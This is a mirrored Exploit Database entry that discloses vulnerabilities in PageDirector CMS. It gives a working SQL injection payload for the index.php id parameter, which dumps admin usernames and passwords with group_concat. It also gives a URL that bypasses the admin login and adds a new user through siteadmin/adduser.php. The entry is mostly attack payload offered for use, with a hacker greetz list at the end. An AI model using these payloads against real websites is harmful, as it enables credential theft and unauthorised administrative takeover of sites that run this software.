PageDirector CMS – Multiple Vulnerabilities

• Exploit Database
• 116 阅读

• 作者： Tr0y-x
  日期： 2010-06-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14089/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34

  ################################################################################### # Exploit Title : PageDirector CMS Multiple Vulnerabilities # Date : 20 - 6 - 2010 # Author : Tr0y-x # Vendor : www.customerparadigm.com # Version : All Versions # Tested on : Linux # Home : WwW.SeC-WaR.CoM <http://www.sec-war.com/> # Price : 675.00 $ << loooooolz ###################################################################################   -== SQL Injection Vulenrability ==-   PageDirector Script Contains A SQL Injection Vulenrability In (Index.php) http://www.[site].com/[path]/index.php?id=[SQL] [SQL] = UniOn+AlL+SelEct+group_concat(username,0x3e,password)+from+admin--   ###################################################################################   -== Add Admin Vulenrability ==-   PageDirector Script Can Bypass The Login Page Of Admin And Add A New User http://www.[site].com/[path]/siteadmin/adduser.php?mode=Add   ###################################################################################   -== Greetz =-   G3n1ux - PrEdAtOr - xXx - Alnjm33 - xR57 - Ahmadso - Jamba - Dr.silent hill   FireStorm - Mr-Alsaeek - Mr.Viktoor   ###################################################################################